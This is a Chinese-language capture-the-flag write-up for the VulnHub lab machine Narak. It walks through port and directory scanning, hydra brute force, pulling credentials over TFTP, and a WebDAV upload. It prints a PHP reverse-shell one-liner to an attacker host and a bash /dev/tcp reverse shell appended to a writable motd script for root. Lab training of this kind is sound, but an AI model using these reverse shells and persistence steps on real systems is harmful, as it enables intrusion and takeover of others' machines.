[VulnHub] Narak

一、靶机介绍

名称:Narak

发布日期:23 Sep 2020

Download (Mirror): https://download.vulnhub.com/ha/narak.ova

tipsNarak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

二、信息收集

主机发现

sudo arp-scan -l

端口扫描

nmap -p- 192.168.0.169 --min-rate=5000
sudo nmap -p22,80 -sT -sC -sV -O 192.168.0.169

访问首页,发现是一个有关于 Narak(印度教地狱)的介绍

纳拉克(印度语:Narak)是印度教的地狱,罪人死后在那里受折磨。它也是死神闻罗王的住所(上图)。它被描述为位于宇宙的南部和地球之下。许多经文描述有28层地狱。死后,阎罗王的使者叫vamdoot,把所有的生命带到阎罗王的法庭上,在那里,阎罗王衡量生命的美德和罪恶,并作出判决,把有道德的送到swarg(天堂),把罪人送到地狱之一。 在斯瓦格或纳拉克的逗留通常被描述为临时性的。在惩罚结束后,灵魂根据他们的功德重生为更低或更高的生命。

About 下面有个 DoNotClick 的按钮

点击后发现得到一张图片

是否这张图片有隐藏信息?

wget http://192.168.0.169/images/666.jpg
file 666.jpg
exiftool 666.jpg

目录扫描

gobuster dir -u http://192.168.0.169 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
http://192.168.0.169/webdav/

WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。

可以直接put文件上去。。。。

访问需要口令,,,

常见的弱口令测试均无法登录。。。。

简介中提到了一个用户 vamdoot 尝试ssh 爆破

hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.169

漫长等待之后无果。。。

vamdoot 尝试 爆破 webdav

hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt 192.168.0.169 http-get /webdav

经过漫长的等待,仍然无果

似乎陷入僵局。。。

常规的目录扫描无果,这时候可以尝试扫描一下 备份文件和txt类型的日志文件

dirsearch -u http://192.168.0.169 -f -e zip,jar,tar.gz,txt --wordlists=/usr/share/dirb/wordlists/common.txt

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://192.168.0.169
http://192.168.0.169/tips.txt

想打开 地狱之门,需要找到 creds.txt 这里面有密钥。。。

http://192.168.0.169/creds.txt

思路再一次卡住,,,,,

回顾整个渗透过程,我们可以发现,似乎没有任何的遗漏,唯一就是少了对 UDP端口的渗透

UDP端口扫描

sudo nmap -p- -sU 192.168.0.169 --min-rate=5000

常规UDP端口扫描再来一次

nmap -sU --top-ports 20 192.168.0.169

发现了一个有关文件传输的端口 69 tftp

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。

tftp 192.168.0.169

看不到有啥文件,直接 get creds.txt 试试

eWFtZG9vdDpTd2FyZw==

解码

cat creds.txt | base64 -d
yamdoot:Swarg

看到这个密码,五味杂陈。。。。

下次当密码爆破失败的时候,可以优先 使用 cewl 生成字典

cewl http://192.168.0.169/ -w wt.txt

尝试 ssh

ssh yamdoot@192.168.0.169

尝试 webdav

没有任何文件,so,直接测试

┌──(kali㉿kali)-[~/Desktop]
└─$ davtest -url http://192.168.0.169/webdav -auth yamdoot:Swarg 
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://192.168.0.169/webdav
********************************************************
NOTE    Random string for this session: lSds8P9
********************************************************
 Creating directory
MKCOL           SUCCEED:                Created http://192.168.0.169/webdav/DavTestDir_lSds8P9
********************************************************
 Sending test files
PUT     html    SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
PUT     cgi     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cgi
PUT     jhtml   SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jhtml
PUT     cfm     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cfm
PUT     jsp     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jsp
PUT     txt     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
PUT     shtml   SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.shtml
PUT     asp     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.asp
PUT     pl      SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.pl
PUT     php     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
PUT     aspx    SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.aspx
********************************************************
 Checking for test file execution
EXEC    html    SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
EXEC    html    FAIL
EXEC    cgi     FAIL
EXEC    jhtml   FAIL
EXEC    cfm     FAIL
EXEC    jsp     FAIL
EXEC    txt     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
EXEC    txt     FAIL
EXEC    shtml   FAIL
EXEC    asp     FAIL
EXEC    pl      FAIL
EXEC    php     SUCCEED:        http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
EXEC    php     FAIL
EXEC    aspx    FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://192.168.0.169/webdav/DavTestDir_lSds8P9
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cgi
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jhtml
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.cfm
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.jsp
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.shtml
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.asp
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.pl
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php
PUT File: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.aspx
Executes: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.html
Executes: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.txt
Executes: http://192.168.0.169/webdav/DavTestDir_lSds8P9/davtest_lSds8P9.php

                                                                                                                           
┌──(kali㉿kali)-[~/Desktop]

经过测试,发现可以上传 php 文件,那么直接上传 一句话木马,或者反弹shell的脚本

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.132/9999 0>&1'"); ?>

三、getshell

然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver

cadaver http://192.168.0.169/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php

kali开启监听

访问 http://192.168.0.169/webdav/shell.php

成功反弹shell

四、提权

获取交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

当前用户是一个 web 用户,没啥用,查看可登录用户

cat /etc/passwd | grep -v nologin

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
narak:x:1000:1000:narak,,,:/home/narak:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash

上传 linpeas.sh 看看有啥敏感信息

╔══════════╣ Searching root files in home dirs (limit 30)                                 
/home/narak/.bash_history  # 没权限
/home/inferno/user.txt
/var/www/html/tips.txt
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

发现 motd 的文件可以修改

很明显,现在可以修改,但是需要一个用户名和密码

hell.sh 这个文件很眼熟有没有?

www-data@ubuntu:/home/inferno$ cat /mnt/hell.sh
cat /mnt/hell.sh
#!/bin/bash

echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

互联网搜索得知为 BF编码 https://www.bf.doleczek.pl/

chitragupt

修改 00-header 追加反弹shell的代码

echo "bash -c 'bash -i >& /dev/tcp/192.168.0.132/8888 0>&1'" >> /etc/update-motd.d/00-header

尝试登录

ssh inferno@192.168.0.169     #chitragupt

至此,打靶结束

五、总结

  • 1、目录扫描记得扫 txt、备份文件等
  • 2、爆破无果,可以自己通过页面单词整理一份字典
  • 3、端口扫描 TCP要是打不进去,看看UDP